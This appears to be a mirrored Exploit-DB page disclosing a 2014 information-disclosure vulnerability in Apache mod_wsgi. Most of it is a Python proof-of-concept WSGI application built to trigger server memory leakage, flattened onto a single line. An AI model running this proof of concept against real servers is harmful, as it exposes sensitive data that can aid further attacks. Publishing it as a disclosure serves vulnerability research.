Apache mod_wsgi – Information Disclosure

• Exploit Database
• 122 阅读

• 作者： Buck Golemon
  日期： 2014-05-21
• 类别：

  • remote
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/39196/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50

  source: https://www.securityfocus.com/bid/67534/info   mod_wsgi is prone to a remote information-disclosure vulnerability.   Attackers can exploit this issue to obtain sensitive information that may aid in launching further attacks.   import functools import threading import time import random def run(*args): while True: items = [] for i in range(1000): items.append((int(random.random()*20)*'X')) time.sleep(0.00001) thread = threading.Thread(target=run) thread.start() def headers(): return [('Content-Type', 'text/plain'.upper().lower())] def response(): yield 'Hello World!\n' _content_type_cache = {} def intern_content_type(application): @functools.wraps(application) def _wrapper(environ, start_response): def _start_response(status, headers, *args): _headers = [] for header, value in headers: if header.lower() == 'content-type': value = _content_type_cache.setdefault(value, value) _headers.append((header, value)) return start_response(status, _headers, *args) return application(environ, _start_response) return _wrapper #@intern_content_type def application(environ, start_response): status = '200 OK' start_response(status, headers()) return response()